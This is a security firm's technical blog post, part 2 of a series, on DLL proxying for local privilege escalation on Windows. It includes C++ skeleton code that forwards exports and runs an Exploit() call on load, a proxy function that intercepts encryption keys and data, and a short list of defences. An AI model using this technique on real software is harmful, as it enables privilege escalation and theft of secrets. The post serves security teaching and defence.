Vous êtes victime d’un incident de sécurité ? Contactez notre CERT

11/03/2025

Blog technique

A way to find LPE in Windows App Part 2: How to perform a DLL proxying

Team CESTI

In the previous article, we explained how to find a Local Privilege Escalation using DLL sideloading. At the end, we observed the app crash after using the DLL of the attacker. 

Why did it crash?

After loading the DLL, an exported function of this DLL is called, but this function is not implemented. After executing our payload, the product calls functions of the DLL (that it believes legitimate). As the function does not exist, the program crashes. Only the payload is executed.

 

To avoid this behavior, the DLL has to export the same functions as the original one. Did we have to code the whole DLL to add our payload at the loading step? Definitely not. The DLL proxying method can be used.

DLL Proxying in theory

The DLL proxying is a method that allows to call a legitimate DLL from a malicious one, without implementing it. This technique also allows to change any input provided by the caller, or output returned by the trusted DLL’s function. Here is an example:
To proxy a function, you need to know the name of this function. This name can be found in the exported functions list. A few techniques can then be used to implement this attack.

DLL Proxying in real life

The easiest way to perform a call redirection is to use the linker technique with the export parameter, as shown below.
				
					#pragma comment(linker, "/export:exportedFunction1=True_DLL.exportedFunction1")
#pragma comment(linker, "/export:exportedFunction2=True_DLL.exportedFunction2")
#pragma comment(linker, "/export:exportedFunction3=True_DLL.exportedFunction3")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason,LPVOID lpvReserved)
{
    switch(fdwReason) 
    { 
        case DLL_PROCESS_ATTACH:
            Exploit();
            break;

        case DLL_THREAD_ATTACH:
            break;

        case DLL_THREAD_DETACH:
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

				
			
This technique seems to be very powerful and fast, but if the app calls a lot of exported functions, it can be a nightmare to link the whole exported functions list.

This step can be automated, and there are multiple open-source projects that can be used for this purpose. In a Github project, the developer Magnus has compiled a collection of DLL functions export forwards for DLL export functions proxying. He also proposes a script to get the exported functions of a DLL.

				
					$ ./exports.py version.dll 
binary: version.dll
image base: 0x0000000180000000 (6442450944)
architecture: 64-bit
+----------------------------+--------------------------------+------------------+-----------+
| name                       | address (imagebase + relative) | relative address | ordinal   |
+----------------------------+--------------------------------+------------------+-----------+
| GetFileVersionInfoA        | 0x00000001800010f0             | 0x000010f0       | 1 (0x1)   |
| GetFileVersionInfoByHandle | 0x0000000180002370             | 0x00002370       | 2 (0x2)   |
| GetFileVersionInfoExA      | 0x0000000180001e90             | 0x00001e90       | 3 (0x3)   |
| GetFileVersionInfoExW      | 0x0000000180001070             | 0x00001070       | 4 (0x4)   |
| GetFileVersionInfoSizeA    | 0x0000000180001010             | 0x00001010       | 5 (0x5)   |
| GetFileVersionInfoSizeExA  | 0x0000000180001eb0             | 0x00001eb0       | 6 (0x6)   |
| GetFileVersionInfoSizeExW  | 0x0000000180001090             | 0x00001090       | 7 (0x7)   |
| GetFileVersionInfoSizeW    | 0x00000001800010b0             | 0x000010b0       | 8 (0x8)   |
| GetFileVersionInfoW        | 0x00000001800010d0             | 0x000010d0       | 9 (0x9)   |
| VerFindFileA               | 0x0000000180001ed0             | 0x00001ed0       | 10 (0xa)  |
| VerFindFileW               | 0x0000000180002560             | 0x00002560       | 11 (0xb)  |
| VerInstallFileA            | 0x0000000180001ef0             | 0x00001ef0       | 12 (0xc)  |
| VerInstallFileW            | 0x0000000180003320             | 0x00003320       | 13 (0xd)  |
| VerLanguageNameA           | KERNEL32.VerLanguageNameA      | 0x00004e6c       | 14 (0xe)  |
| VerLanguageNameW           | KERNEL32.VerLanguageNameW      | 0x00004e97       | 15 (0xf)  |
| VerQueryValueA             | 0x0000000180001030             | 0x00001030       | 16 (0x10) |
| VerQueryValueW             | 0x0000000180001050             | 0x00001050       | 17 (0x11) |
+----------------------------+--------------------------------+------------------+-----------+

				
			

Edit & Steal

It’s interesting to execute a payload and proxy the whole other functions, but how can we intercept the transferred data? How to steal, log or even edit them? In real life, it can’t be as simple as a linker. You have to recreate the function targeted as a real DLL exported function. But instead of reimplementing the function, you simply intercept the incoming parameter and call the real function from the original DLL.
To implement this part, you have to know the function prototype and define it as a type in your code. It can be done by reading the documentation of the original DLL to know the structure or, in most cases, to reverse engineer the DLL to identify it.
				
					typedef BOOL (WINAPI *encryptionFunc)(HCRYPTKEY Key, BYTE *Data);
				
			
After this long step, you only need to load the function of the original library and call it. In the following example, the Steal_Data_and_Key() function represents where you can steal or edit the incoming parameter. The Payload() function represents where you can perform a direct LPE (this code has not been tested).
				
					#include <windows.h>
#include <wincrypt.h>
#include <fstream>
#include <iostream>

#pragma comment(linker, "/export:exportedFunction1=True_DLL.exportedFunction1")
#pragma comment(linker, "/export:exportedFunction2=True_DLL.exportedFunction2")
#pragma comment(linker, "/export:exportedFunction3=True_DLL.exportedFunction3")

// Function pointer to the real encryption function
typedef BOOL (WINAPI *encryptionFunc)(HCRYPTKEY Key, BYTE *Data);

// Pointer to the real encryption function
encryptionFunc Real_encryption = nullptr;

// Load the real dll and get the address of encryption
BOOL LoadRealencryption() 
{
    HMODULE hModule = LoadLibrary(TEXT("advapi32.dll"));
    if (hModule) 
    {
        Real_encryption = (encryptionFunc)GetProcAddress(hModule, "encryption");
        if (Real_encryption) 
        {
            return TRUE;
        }
    }
    return FALSE;
}

// Proxy function for encryption
extern "C" __declspec(dllexport) BOOL WINAPI encryption(HCRYPTKEY Key, BYTE *Data) 
{
    // Log the parameters to a temporary file
    Steal_Data_and_Key(Key, Data);

    // Call the real encryption function
    if (LoadRealencryption()) 
    {
        return Real_encryption(Key, Data);
    }
    return FALSE;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason,LPVOID lpvReserved)
{
    switch(fdwReason) 
    { 
        case DLL_PROCESS_ATTACH:
            Exploit();
            break;

        case DLL_THREAD_ATTACH:
            break;

        case DLL_THREAD_DETACH:
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

				
			

How to protect your program from this type of attack?

To protect a product from this technique, it is possible to:

  • Specify the full path to its library instead of loading it with only its name (use an absolute path instead of a relative one),
  • Verify the DLL signature.

Furthermore, to check if this vulnerability can be exploited and if the program is vulnerable, it can be executed with Process Monitor in background (with a filter on “Not Found”) to find a forgotten bad call to an unavailable library.

Voir les derniers articles de notre Blog technique

28 janvier 2025
[...] As part of this activity, we developed a tool being able to realize RFID relay attacks on access control […]
9 janvier 2025
Contrairement à une évaluation de sécurité réalisée dans un objectif de certification (CSPN ou Critères Communs), la recherche de vulnérabilités […]
20 décembre 2024
La sécurité informatique peut paraître, pour beaucoup, comme un centre de coût et de complexité : plan d’audits à mettre en […]
16 décembre 2024
Après avoir exploré les vulnérabilités inhérentes aux modèles de langage à grande échelle (LLM) dans notre série d'articles, il est […]
28 novembre 2024
L'exfiltration de modèles LLM (Model Theft in english) par des acteurs malveillants ou des groupes de cyberespionnage avancés est une […]
26 novembre 2024
La surconfiance (Overreliance en anglais) peut survenir lorsqu'un LLM produit des informations erronées et les présente de manière autoritaire [...]
25 novembre 2024
Avec une souche éprouvée, des outils bien choisis et des cibles stratégiques, 8Base se distingue comme une menace particulièrement redoutable. […]
13 novembre 2024
Un système basé sur les LLM (Large Language Models) est souvent doté d'un certain degré d'autonomie par son développeur, [...]
12 novembre 2024
Les plugins pour LLM sont des extensions qui, lorsqu'ils sont activés, sont automatiquement appelés par le modèle pendant les interactions […]
7 novembre 2024
Les LLM ont le potentiel de révéler des informations sensibles (Sensitive Information Disclosure en anglais), des algorithmes propriétaires ou d'autres […]